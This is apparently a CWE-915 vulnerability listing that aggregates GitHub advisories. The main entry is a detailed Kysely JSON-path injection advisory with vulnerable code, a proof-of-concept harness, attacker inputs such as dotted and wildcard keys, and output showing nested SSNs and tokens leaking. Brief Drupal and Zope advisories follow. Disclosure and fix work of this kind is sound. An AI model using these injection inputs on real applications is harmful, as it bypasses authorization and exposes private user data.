Common Weakness Enumeration

CWE-915

Allowed

Improperly Controlled Modification of Dynamically-Determined Object Attributes

Abstraction: Base · Status: Incomplete

The product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified.

311 vulnerabilities reference this CWE, most recent first.

GHSA-PV5W-4P9Q-P3V2

Vulnerability from github – Published: 2026-05-11 19:40 – Updated: 2026-06-08 23:53

Summary

Kysely: JSON-path traversal injection via unsanitized path-leg metacharacters in `JSONPathBuilder.key()` / `.at()`

Details

Summary

Kysely 0.28.12 added a sanitizeStringLiteral() call inside DefaultQueryCompiler.visitJSONPathLeg (commit 0a602bf, PR #1727) to fix CVE-2026-32763 (GHSA-wmrf-hv6w-mr66). The fix only doubles single quotes (' → ''); it does not escape JSON-path metacharacters (., [, ], *, **, ?). When attacker-controlled input flows into eb.ref(col, '->$').key(input) or .at(input) — including type-safe code where the JSON column is shaped like Record<string, T> so K extends string is the inferred type — every dot becomes a path-leg separator, letting an attacker traverse from the intended key into sibling and child fields the developer never meant to expose. The result is read access (and, in update statements, write access) to JSON sub-fields outside the intended scope across MySQL, PostgreSQL ->$/->>$, and SQLite.

Project: Kysely — TypeScript SQL query builder (npm kysely); affects MySQL, PostgreSQL ->$/->>$, and SQLite dialects.
Source reviewed: kysely-org/kysely @ master (73192e4, version 0.28.16).
Deployed artefact validated: kysely@0.28.16 from npm.
Affected file(s):
src/query-compiler/default-query-compiler.ts (lines 1611–1639, 1821–1823)
src/query-builder/json-path-builder.ts (lines 93–196)
src/dialect/mysql/mysql-query-compiler.ts (overrides sanitizeStringLiteral but inherits the same behaviour for path legs — escapes \ and ', nothing else)
CWE: CWE-89 — Improper Neutralization of Special Elements used in an SQL Command, with CWE-915 / CWE-1284 (improper validation of specified quantity in input) flavours for the JSON-path sub-language.
OWASP 2021: A03:2021 — Injection.

Vulnerable code

src/query-compiler/default-query-compiler.ts:1625-1639:

protected override visitJSONPathLeg(node: JSONPathLegNode): void {
  const isArrayLocation = node.type === 'ArrayLocation'

  this.append(isArrayLocation ? '[' : '.')      // (1)

  this.append(
    typeof node.value === 'string'
      ? this.sanitizeStringLiteral(node.value)  // (2)
      : String(node.value),
  )

  if (isArrayLocation) {
    this.append(']')
  }
}

src/query-compiler/default-query-compiler.ts:1821-1823:

protected sanitizeStringLiteral(value: string): string {
  return value.replace(LIT_WRAP_REGEX, "''")    // (3)
}

with LIT_WRAP_REGEX = /'/g.

src/query-builder/json-path-builder.ts:151-167:

key<
  K extends any[] extends O
    ? never
    : O extends object
      ? keyof NonNullable<O> & string
      : never,
  O2 = undefined extends O
    ? null | NonNullable<NonNullable<O>[K]>
    : null extends O
      ? null | NonNullable<NonNullable<O>[K]>
      : // when the object has non-specific keys, e.g. Record<string, T>, should infer `T | null`!
        string extends keyof NonNullable<O>
        ? null | NonNullable<NonNullable<O>[K]>
        : NonNullable<O>[K],
>(key: K): TraversedJSONPathBuilder<S, O2> {
  return this.#createBuilderWithPathLeg('Member', key)  // (4)
}

src/query-builder/json-path-builder.ts:169-196:

#createBuilderWithPathLeg(
  legType: JSONPathLegType,
  value: string | number,                                // (5)
): TraversedJSONPathBuilder<any, any> {
  // ...
  return new TraversedJSONPathBuilder(
    JSONPathNode.cloneWithLeg(
      this.#node,
      JSONPathLegNode.create(legType, value),            // (6)
    ),
  )
}

At (1) the compiler emits the path-leg separator — . for member access or [ for array index. At (2) the user-supplied string is run through sanitizeStringLiteral, which at (3) only doubles single quotes ('). Dots, brackets, asterisks, double-asterisks and question marks — every reserved character of the SQL/JSON path mini-language — pass through unmodified.

At (4) .key(K) types K as keyof NonNullable<O> & string. When the JSON column is typed as Record<string, T> (a common shape for free-form metadata blobs) the inferred K is just string, so attacker-controlled input is type-safe and does not need a Kysely<any> escape hatch — this finding is broader than GHSA-wmrf-hv6w-mr66 (CVE-2026-32763), which only covered the Kysely<any> case. At (5)/(6) the runtime accepts any string | number regardless of legType, so a string sent into .at(...) ('last'/'#-N' per the public type signature) also reaches the same emitter and can carry ] to break out of the bracket.

The fix at 0a602bf only addressed the single-quote → string-literal escape. The JSON-path metacharacter set was overlooked.

MysqlQueryCompiler.sanitizeStringLiteral (src/dialect/mysql/mysql-query-compiler.ts:47-51) overrides the helper to also escape backslashes — but again, it does nothing for . [ ] * ** ?.

Reproduction (validated locally)

Environment: kysely@0.28.16 + better-sqlite3@12.x, Node 22, on macOS. The PoC harness lives in /Users/admin/joplin_research/kysely-poc/.

Step 1 — Compiled-SQL evidence across all three dialects

/Users/admin/joplin_research/kysely-poc/poc.mjs (no DB, just .compile()):

$ node poc.mjs
===== MySQL =====

--- baseline: .key("nick") ---
SQL:     select `profile`->'$.nick' as `out` from `person`

--- INJECTION via .key(ATTACKER) -- "nick.secret_field" ---
SQL:     select `profile`->'$.nick.secret_field' as `out` from `person`

--- INJECTION via .key("*") -- wildcard reaches all keys ---
SQL:     select `profile`->'$.*' as `out` from `person`

--- INJECTION via .at(ATTACKER3) -- bracket escape ---
SQL:     select `profile`->'$[].secret]' as `out` from `person`

===== PostgreSQL (->$ uses jsonpath, MySQL-like) =====

--- baseline: .key("nick") ---
SQL:     select "profile"->'$.nick' as "out" from "person"

--- INJECTION via .key(ATTACKER) ---
SQL:     select "profile"->'$.nick.secret_field' as "out" from "person"

===== SQLite =====

--- baseline: .key("nick") ---
SQL:     select "profile"->>'$.nick' as "value" from "person"

--- INJECTION via .key(ATTACKER) ---
SQL:     select "profile"->>'$.nick.secret_field' as "out" from "person"

--- INJECTION via .key("*") ---
SQL:     select "profile"->>'$.*' as "out" from "person"

The compiled SQL clearly shows the dot inside the user-supplied "key" being interpreted by the database as a path separator: '$.nick' (one leg) becomes '$.nick.secret_field' (two legs). MySQL additionally accepts * as a wildcard reaching every member at the current level.

Step 2 — End-to-end data disclosure on a real database

/Users/admin/joplin_research/kysely-poc/sqlite-runtime.mjs simulates a typical handler that reads one top-level field of the caller's profile:

async function fetchProfileField(userInput) {
  return db.selectFrom('me')
    .select(eb => eb.ref('profile', '->>$').key(userInput).as('value'))
    .where('id', '=', 1)
    .execute()
}

The me.profile JSON column for user 1 is:

{
  "nick": "alice",
  "tagline": "hi",
  "internal": {
    "ssn": "111-11-1111",
    "token": "tok_abcdef",
    "admin": true
  }
}

The developer's intent: only top-level keys (nick, tagline) are ever requested. internal is private bookkeeping.

$ node sqlite-runtime.mjs
===== Legitimate request =====
userInput = "nick"
  compiled SQL:  select "profile"->>'$.nick' as "value" from "me" where "id" = ?
  result:        [ { value: 'alice' } ]

===== Injection: dot lets attacker reach nested "internal" object =====
userInput = "internal.ssn"
  compiled SQL:  select "profile"->>'$.internal.ssn' as "value" from "me" where "id" = ?
  result:        [ { value: '111-11-1111' } ]

userInput = "internal.token"
  compiled SQL:  select "profile"->>'$.internal.token' as "value" from "me" where "id" = ?
  result:        [ { value: 'tok_abcdef' } ]

userInput = "internal.admin"
  compiled SQL:  select "profile"->>'$.internal.admin' as "value" from "me" where "id" = ?
  result:        [ { value: 1 } ]

Expected vs. actual: the application invariant was "the user can only read top-level keys of their profile". The output violates that invariant — internal.ssn, internal.token, and internal.admin are returned even though internal was never meant to be addressable through this endpoint.

The same pattern is exploitable on MySQL (where * and ** wildcards make it strictly worse — a single * enumerates every sibling at the current level in one row) and on PostgreSQL when using the ->$/->>$ operators (which target MySQL-style JSON-path strings on PG ≥ 17 / via jsonb_path_query).

Impact

Authorization bypass on JSON sub-fields. Any kysely-built query whose JSON-path key/index argument is partially or fully attacker-controlled — even in fully type-safe code where the column type is Record<string, T> — leaks data the developer believed was scoped behind the explicitly-listed key. SSNs, tokens, admin flags, internal IDs, anything stored as a nested member of the same JSON document is reachable.
Wildcard reads on MySQL / PostgreSQL ->$. key('*') compiles to '$.*', returning the array of every value at the current depth in one round-trip. key('**') recurses across the whole document. The fix does not strip either token.
Write access in update statements. Kysely uses the same path compiler for update().set(eb => eb.ref(col, '->$').key(input), value)-style writes (and jsonb_set helpers). An attacker who can drive both the path and the value can therefore write into nested fields they should not be able to set — for example flipping an admin flag or rewriting a nested role.
Bypasses the recently-fixed precedent. The maintainers shipped commit 0a602bf (PR #1727) specifically to harden this surface. That fix removed the ' (quote) primitive but left every JSON-path metacharacter alone, so the surface is still open against any caller that thought it was now safe.
Practical bounding. The attacker needs a code path where a request-derived string lands in .key(...) or .at(...). This is a recognised pattern (filter-by-field, dynamic select for admin dashboards, Strapi-style JSON-blob columns); it is not a default kysely behaviour but is plausibly common. The vulnerable path is also exercised any time a developer writes db as Kysely<any> (covered by the older GHSA-wmrf-hv6w-mr66 advisory) — but unlike that advisory, the bug here triggers in fully-typed code on Record<string, T> columns.

Suggested fix

Treat path legs as a structured emission, not a string-literal escape. The narrowest safe patch is a dedicated sanitizeJSONPathLeg that only emits a known-good character set per leg type and rejects everything else, since JSON-path quoting differs by dialect (MySQL allows "…"-quoted member names; SQLite is more permissive but still has a grammar; PostgreSQL jsonpath is strict).

// src/query-compiler/default-query-compiler.ts
const JSON_PATH_MEMBER_OK = /^[A-Za-z_$][A-Za-z0-9_$]*$/

protected override visitJSONPathLeg(node: JSONPathLegNode): void {
  if (node.type === 'ArrayLocation') {
    this.append('[')
    if (typeof node.value === 'number') {
      this.append(String(node.value | 0))      // int-coerce
    } else if (node.value === 'last' || /^#-\d+$/.test(node.value)) {
      this.append(node.value)                  // documented dialect tokens
    } else {
      throw new Error(`invalid JSON array index: ${node.value}`)
    }
    this.append(']')
    return
  }
  // Member
  this.append('.')
  if (typeof node.value !== 'string' || !JSON_PATH_MEMBER_OK.test(node.value)) {
    // Per-dialect quoted-member escape would go here; default = reject.
    throw new Error(`invalid JSON path member: ${JSON.stringify(node.value)}`)
  }
  this.append(node.value)
}

For dialect-specific behaviour (MySQL "…"-quoted members, SQLite bracket-quoted), each dialect compiler should override the helper and apply the appropriate quoting + double-the-quote rule, the same way sanitizeIdentifier already does.

Consider also: parameterise JSON paths whenever the dialect supports it (PostgreSQL jsonb_path_query($1, $2), MySQL JSON_EXTRACT(?, ?)), so attacker-controlled keys are bound, not concatenated. Add a regression test to test/node/src/json-traversal.test.ts asserting that eb.ref('c','->$').key('a.b').compile().sql is either rejected, or emits MySQL '$."a.b"' / SQLite '$.["a.b"]' (quoted-member form), and explicitly differs from key('a').key('b').

A backstop hardening: tighten the .at() runtime to accept only number | 'last' | '#-${digits}' (matching the type signature), and tighten .key() to only accept strings that match keyof O at runtime when O is statically known.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "kysely"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.26.0"
            },
            {
              "fixed": "0.28.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44635"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1284",
      "CWE-22",
      "CWE-89",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-11T19:40:15Z",
    "nvd_published_at": "2026-05-27T19:16:20Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nKysely 0.28.12 added a `sanitizeStringLiteral()` call inside `DefaultQueryCompiler.visitJSONPathLeg` (commit `0a602bf`, PR #1727) to fix CVE-2026-32763 (`GHSA-wmrf-hv6w-mr66`). The fix only doubles single quotes (`\u0027` \u2192 `\u0027\u0027`); it does **not** escape JSON-path metacharacters (`.`, `[`, `]`, `*`, `**`, `?`). When attacker-controlled input flows into `eb.ref(col, \u0027-\u003e$\u0027).key(input)` or `.at(input)` \u2014 including type-safe code where the JSON column is shaped like `Record\u003cstring, T\u003e` so `K extends string` is the inferred type \u2014 every dot becomes a path-leg separator, letting an attacker traverse from the intended key into sibling and child fields the developer never meant to expose. The result is read access (and, in update statements, write access) to JSON sub-fields outside the intended scope across MySQL, PostgreSQL `-\u003e$`/`-\u003e\u003e$`, and SQLite.\n\n* Project: Kysely \u2014 TypeScript SQL query builder (npm `kysely`); affects MySQL, PostgreSQL `-\u003e$`/`-\u003e\u003e$`, and SQLite dialects.\n* Source reviewed: `kysely-org/kysely` @ `master` (`73192e4`, version `0.28.16`).\n* Deployed artefact validated: `kysely@0.28.16` from npm.\n* Affected file(s):\n  * `src/query-compiler/default-query-compiler.ts` (lines 1611\u20131639, 1821\u20131823)\n  * `src/query-builder/json-path-builder.ts` (lines 93\u2013196)\n  * `src/dialect/mysql/mysql-query-compiler.ts` (overrides `sanitizeStringLiteral` but inherits the same behaviour for path legs \u2014 escapes `\\` and `\u0027`, nothing else)\n* CWE: CWE-89 \u2014 Improper Neutralization of Special Elements used in an SQL Command, with CWE-915 / CWE-1284 (improper validation of specified quantity in input) flavours for the JSON-path sub-language.\n* OWASP 2021: A03:2021 \u2014 Injection.\n\n## Vulnerable code\n\n`src/query-compiler/default-query-compiler.ts:1625-1639`:\n\n```ts\nprotected override visitJSONPathLeg(node: JSONPathLegNode): void {\n  const isArrayLocation = node.type === \u0027ArrayLocation\u0027\n\n  this.append(isArrayLocation ? \u0027[\u0027 : \u0027.\u0027)      // (1)\n\n  this.append(\n    typeof node.value === \u0027string\u0027\n      ? this.sanitizeStringLiteral(node.value)  // (2)\n      : String(node.value),\n  )\n\n  if (isArrayLocation) {\n    this.append(\u0027]\u0027)\n  }\n}\n```\n\n`src/query-compiler/default-query-compiler.ts:1821-1823`:\n\n```ts\nprotected sanitizeStringLiteral(value: string): string {\n  return value.replace(LIT_WRAP_REGEX, \"\u0027\u0027\")    // (3)\n}\n```\n\nwith `LIT_WRAP_REGEX = /\u0027/g`.\n\n`src/query-builder/json-path-builder.ts:151-167`:\n\n```ts\nkey\u003c\n  K extends any[] extends O\n    ? never\n    : O extends object\n      ? keyof NonNullable\u003cO\u003e \u0026 string\n      : never,\n  O2 = undefined extends O\n    ? null | NonNullable\u003cNonNullable\u003cO\u003e[K]\u003e\n    : null extends O\n      ? null | NonNullable\u003cNonNullable\u003cO\u003e[K]\u003e\n      : // when the object has non-specific keys, e.g. Record\u003cstring, T\u003e, should infer `T | null`!\n        string extends keyof NonNullable\u003cO\u003e\n        ? null | NonNullable\u003cNonNullable\u003cO\u003e[K]\u003e\n        : NonNullable\u003cO\u003e[K],\n\u003e(key: K): TraversedJSONPathBuilder\u003cS, O2\u003e {\n  return this.#createBuilderWithPathLeg(\u0027Member\u0027, key)  // (4)\n}\n```\n\n`src/query-builder/json-path-builder.ts:169-196`:\n\n```ts\n#createBuilderWithPathLeg(\n  legType: JSONPathLegType,\n  value: string | number,                                // (5)\n): TraversedJSONPathBuilder\u003cany, any\u003e {\n  // ...\n  return new TraversedJSONPathBuilder(\n    JSONPathNode.cloneWithLeg(\n      this.#node,\n      JSONPathLegNode.create(legType, value),            // (6)\n    ),\n  )\n}\n```\n\nAt (1) the compiler emits the path-leg separator \u2014 `.` for member access or `[` for array index. At (2) the user-supplied string is run through `sanitizeStringLiteral`, which at (3) only doubles single quotes (`\u0027`). Dots, brackets, asterisks, double-asterisks and question marks \u2014 every reserved character of the SQL/JSON path mini-language \u2014 pass through unmodified.\n\nAt (4) `.key(K)` types `K` as `keyof NonNullable\u003cO\u003e \u0026 string`. When the JSON column is typed as `Record\u003cstring, T\u003e` (a common shape for free-form metadata blobs) the inferred `K` is just `string`, so attacker-controlled input is **type-safe** and does not need a `Kysely\u003cany\u003e` escape hatch \u2014 this finding is *broader* than `GHSA-wmrf-hv6w-mr66` (CVE-2026-32763), which only covered the `Kysely\u003cany\u003e` case. At (5)/(6) the runtime accepts any `string | number` regardless of `legType`, so a string sent into `.at(...)` (`\u0027last\u0027`/`\u0027#-N\u0027` per the public type signature) also reaches the same emitter and can carry `]` to break out of the bracket.\n\nThe fix at `0a602bf` only addressed the single-quote \u2192 string-literal escape. The JSON-path metacharacter set was overlooked.\n\n`MysqlQueryCompiler.sanitizeStringLiteral` (`src/dialect/mysql/mysql-query-compiler.ts:47-51`) overrides the helper to also escape backslashes \u2014 but again, it does nothing for `. [ ] * ** ?`.\n\n## Reproduction (validated locally)\n\nEnvironment: `kysely@0.28.16` + `better-sqlite3@12.x`, Node 22, on macOS. The PoC harness lives in `/Users/admin/joplin_research/kysely-poc/`.\n\n### Step 1 \u2014 Compiled-SQL evidence across all three dialects\n\n`/Users/admin/joplin_research/kysely-poc/poc.mjs` (no DB, just `.compile()`):\n\n```bash\n$ node poc.mjs\n===== MySQL =====\n\n--- baseline: .key(\"nick\") ---\nSQL:     select `profile`-\u003e\u0027$.nick\u0027 as `out` from `person`\n\n--- INJECTION via .key(ATTACKER) -- \"nick.secret_field\" ---\nSQL:     select `profile`-\u003e\u0027$.nick.secret_field\u0027 as `out` from `person`\n\n--- INJECTION via .key(\"*\") -- wildcard reaches all keys ---\nSQL:     select `profile`-\u003e\u0027$.*\u0027 as `out` from `person`\n\n--- INJECTION via .at(ATTACKER3) -- bracket escape ---\nSQL:     select `profile`-\u003e\u0027$[].secret]\u0027 as `out` from `person`\n\n===== PostgreSQL (-\u003e$ uses jsonpath, MySQL-like) =====\n\n--- baseline: .key(\"nick\") ---\nSQL:     select \"profile\"-\u003e\u0027$.nick\u0027 as \"out\" from \"person\"\n\n--- INJECTION via .key(ATTACKER) ---\nSQL:     select \"profile\"-\u003e\u0027$.nick.secret_field\u0027 as \"out\" from \"person\"\n\n===== SQLite =====\n\n--- baseline: .key(\"nick\") ---\nSQL:     select \"profile\"-\u003e\u003e\u0027$.nick\u0027 as \"value\" from \"person\"\n\n--- INJECTION via .key(ATTACKER) ---\nSQL:     select \"profile\"-\u003e\u003e\u0027$.nick.secret_field\u0027 as \"out\" from \"person\"\n\n--- INJECTION via .key(\"*\") ---\nSQL:     select \"profile\"-\u003e\u003e\u0027$.*\u0027 as \"out\" from \"person\"\n```\n\nThe compiled SQL clearly shows the dot inside the user-supplied \"key\" being interpreted by the database as a path separator: `\u0027$.nick\u0027` (one leg) becomes `\u0027$.nick.secret_field\u0027` (two legs). MySQL additionally accepts `*` as a wildcard reaching every member at the current level.\n\n### Step 2 \u2014 End-to-end data disclosure on a real database\n\n`/Users/admin/joplin_research/kysely-poc/sqlite-runtime.mjs` simulates a typical handler that reads one top-level field of the caller\u0027s profile:\n\n```js\nasync function fetchProfileField(userInput) {\n  return db.selectFrom(\u0027me\u0027)\n    .select(eb =\u003e eb.ref(\u0027profile\u0027, \u0027-\u003e\u003e$\u0027).key(userInput).as(\u0027value\u0027))\n    .where(\u0027id\u0027, \u0027=\u0027, 1)\n    .execute()\n}\n```\n\nThe `me.profile` JSON column for user 1 is:\n\n```json\n{\n  \"nick\": \"alice\",\n  \"tagline\": \"hi\",\n  \"internal\": {\n    \"ssn\": \"111-11-1111\",\n    \"token\": \"tok_abcdef\",\n    \"admin\": true\n  }\n}\n```\n\nThe developer\u0027s intent: only top-level keys (`nick`, `tagline`) are ever requested. `internal` is private bookkeeping.\n\n```bash\n$ node sqlite-runtime.mjs\n===== Legitimate request =====\nuserInput = \"nick\"\n  compiled SQL:  select \"profile\"-\u003e\u003e\u0027$.nick\u0027 as \"value\" from \"me\" where \"id\" = ?\n  result:        [ { value: \u0027alice\u0027 } ]\n\n===== Injection: dot lets attacker reach nested \"internal\" object =====\nuserInput = \"internal.ssn\"\n  compiled SQL:  select \"profile\"-\u003e\u003e\u0027$.internal.ssn\u0027 as \"value\" from \"me\" where \"id\" = ?\n  result:        [ { value: \u0027111-11-1111\u0027 } ]\n\nuserInput = \"internal.token\"\n  compiled SQL:  select \"profile\"-\u003e\u003e\u0027$.internal.token\u0027 as \"value\" from \"me\" where \"id\" = ?\n  result:        [ { value: \u0027tok_abcdef\u0027 } ]\n\nuserInput = \"internal.admin\"\n  compiled SQL:  select \"profile\"-\u003e\u003e\u0027$.internal.admin\u0027 as \"value\" from \"me\" where \"id\" = ?\n  result:        [ { value: 1 } ]\n```\n\nExpected vs. actual: the application invariant was \"the user can only read top-level keys of their profile\". The output violates that invariant \u2014 `internal.ssn`, `internal.token`, and `internal.admin` are returned even though `internal` was never meant to be addressable through this endpoint.\n\nThe same pattern is exploitable on MySQL (where `*` and `**` wildcards make it strictly worse \u2014 a single `*` enumerates every sibling at the current level in one row) and on PostgreSQL when using the `-\u003e$`/`-\u003e\u003e$` operators (which target MySQL-style JSON-path strings on PG \u2265 17 / via `jsonb_path_query`).\n\n## Impact\n\n* **Authorization bypass on JSON sub-fields.** Any kysely-built query whose JSON-path key/index argument is partially or fully attacker-controlled \u2014 even in fully type-safe code where the column type is `Record\u003cstring, T\u003e` \u2014 leaks data the developer believed was scoped behind the explicitly-listed key. SSNs, tokens, admin flags, internal IDs, anything stored as a nested member of the same JSON document is reachable.\n* **Wildcard reads on MySQL / PostgreSQL `-\u003e$`.** `key(\u0027*\u0027)` compiles to `\u0027$.*\u0027`, returning the array of every value at the current depth in one round-trip. `key(\u0027**\u0027)` recurses across the whole document. The fix does not strip either token.\n* **Write access in update statements.** Kysely uses the same path compiler for `update().set(eb =\u003e eb.ref(col, \u0027-\u003e$\u0027).key(input), value)`-style writes (and `jsonb_set` helpers). An attacker who can drive both the path and the value can therefore write into nested fields they should not be able to set \u2014 for example flipping an `admin` flag or rewriting a nested role.\n* **Bypasses the recently-fixed precedent.** The maintainers shipped commit `0a602bf` (PR #1727) specifically to harden this surface. That fix removed the `\u0027` (quote) primitive but left every JSON-path metacharacter alone, so the surface is still open against any caller that *thought* it was now safe.\n* **Practical bounding.** The attacker needs a code path where a request-derived string lands in `.key(...)` or `.at(...)`. This is a recognised pattern (filter-by-field, dynamic `select` for admin dashboards, Strapi-style JSON-blob columns); it is not a default kysely behaviour but is plausibly common. The vulnerable path is also exercised any time a developer writes `db as Kysely\u003cany\u003e` (covered by the older `GHSA-wmrf-hv6w-mr66` advisory) \u2014 but unlike that advisory, the bug here triggers in fully-typed code on `Record\u003cstring, T\u003e` columns.\n\n## Suggested fix\n\nTreat path legs as a structured emission, not a string-literal escape. The narrowest safe patch is a dedicated `sanitizeJSONPathLeg` that only emits a known-good character set per leg type and rejects everything else, since JSON-path quoting differs by dialect (MySQL allows `\"\u2026\"`-quoted member names; SQLite is more permissive but still has a grammar; PostgreSQL `jsonpath` is strict).\n\n```ts\n// src/query-compiler/default-query-compiler.ts\nconst JSON_PATH_MEMBER_OK = /^[A-Za-z_$][A-Za-z0-9_$]*$/\n\nprotected override visitJSONPathLeg(node: JSONPathLegNode): void {\n  if (node.type === \u0027ArrayLocation\u0027) {\n    this.append(\u0027[\u0027)\n    if (typeof node.value === \u0027number\u0027) {\n      this.append(String(node.value | 0))      // int-coerce\n    } else if (node.value === \u0027last\u0027 || /^#-\\d+$/.test(node.value)) {\n      this.append(node.value)                  // documented dialect tokens\n    } else {\n      throw new Error(`invalid JSON array index: ${node.value}`)\n    }\n    this.append(\u0027]\u0027)\n    return\n  }\n  // Member\n  this.append(\u0027.\u0027)\n  if (typeof node.value !== \u0027string\u0027 || !JSON_PATH_MEMBER_OK.test(node.value)) {\n    // Per-dialect quoted-member escape would go here; default = reject.\n    throw new Error(`invalid JSON path member: ${JSON.stringify(node.value)}`)\n  }\n  this.append(node.value)\n}\n```\n\nFor dialect-specific behaviour (MySQL `\"\u2026\"`-quoted members, SQLite bracket-quoted), each dialect compiler should override the helper and apply the appropriate quoting + double-the-quote rule, the same way `sanitizeIdentifier` already does.\n\nConsider also: parameterise JSON paths whenever the dialect supports it (PostgreSQL `jsonb_path_query($1, $2)`, MySQL `JSON_EXTRACT(?, ?)`), so attacker-controlled keys are bound, not concatenated. Add a regression test to `test/node/src/json-traversal.test.ts` asserting that `eb.ref(\u0027c\u0027,\u0027-\u003e$\u0027).key(\u0027a.b\u0027).compile().sql` is **either** rejected, **or** emits MySQL `\u0027$.\"a.b\"\u0027` / SQLite `\u0027$.[\"a.b\"]\u0027` (quoted-member form), and explicitly differs from `key(\u0027a\u0027).key(\u0027b\u0027)`.\n\nA backstop hardening: tighten the `.at()` runtime to accept only `number | \u0027last\u0027 | \u0027#-${digits}\u0027` (matching the type signature), and tighten `.key()` to only accept strings that match `keyof O` at runtime when `O` is statically known.",
  "id": "GHSA-pv5w-4p9q-p3v2",
  "modified": "2026-06-08T23:53:29Z",
  "published": "2026-05-11T19:40:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kysely-org/kysely/security/advisories/GHSA-pv5w-4p9q-p3v2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44635"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kysely-org/kysely"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kysely-org/kysely/releases/tag/v0.28.17"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kysely: JSON-path traversal injection via unsanitized path-leg metacharacters in `JSONPathBuilder.key()` / `.at()`"
}

GHSA-QC2R-2XXP-M58X

Vulnerability from github – Published: 2026-07-11 00:31 – Updated: 2026-07-13 18:30

Details

Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerability in Drupal Formatter Field allows Object Injection. This issue affects Formatter Field versions: from 0.0.0 to 2.0.0.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-12535"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-10T22:16:39Z",
    "severity": "CRITICAL"
  },
  "details": "Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerability in Drupal Formatter Field allows Object Injection. This issue affects Formatter Field versions: from 0.0.0 to 2.0.0.",
  "id": "GHSA-qc2r-2xxp-m58x",
  "modified": "2026-07-13T18:30:33Z",
  "published": "2026-07-11T00:31:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12535"
    },
    {
      "type": "WEB",
      "url": "https://www.drupal.org/sa-contrib-2026-048"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QCX9-J53G-CCGF

Vulnerability from github – Published: 2021-08-05 17:01 – Updated: 2026-06-09 13:03

Summary

Remote Code Execution via unsafe classes in otherwise permitted modules

Details

Impact

The module AccessControl defines security policies for Python code used in restricted code within Zope applications. Restricted code is any code that resides in Zope's object database, such as the contents of Script (Python) objects.

The policies defined in AccessControl severely restrict access to Python modules and only exempt a few that are deemed safe, such as Python's string module. However, full access to the string module also allows access to the class Formatter, which can be overridden and extended within Script (Python) in a way that provides access to other unsafe Python libraries. Those unsafe Python libraries can be used for remote code execution.

By default, you need to have the admin-level Zope "Manager" role to add or edit Script (Python) objects through the web. Only sites that allow untrusted users to add/edit these scripts through the web - which would be a very unusual configuration to begin with - are at risk.

Patches

The problem has been fixed in AccessControl 4.3 and 5.2. Only AccessControl versions 4 and 5 are vulnerable, and only on Python 3, not Python 2.7.

Workarounds

A site administrator can restrict adding/editing Script (Python) objects through the web using the standard Zope user/role permission mechanisms. Untrusted users should not be assigned the Zope Manager role and adding/editing these scripts through the web should be restricted to trusted users only. This is the default configuration in Zope.

For more information

If you have any questions or comments about this advisory: * Open an issue in the AccessControl issue tracker * Email us at security@plone.org

Severity

4.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:H/A:N

5.9 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "AccessControl"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0"
            },
            {
              "fixed": "4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "AccessControl"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0"
            },
            {
              "fixed": "5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "zope"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0"
            },
            {
              "fixed": "4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "zope"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0"
            },
            {
              "fixed": "5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-32807"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-08-02T23:00:00Z",
    "nvd_published_at": "2021-07-30T22:15:00Z",
    "severity": "MODERATE"
  },
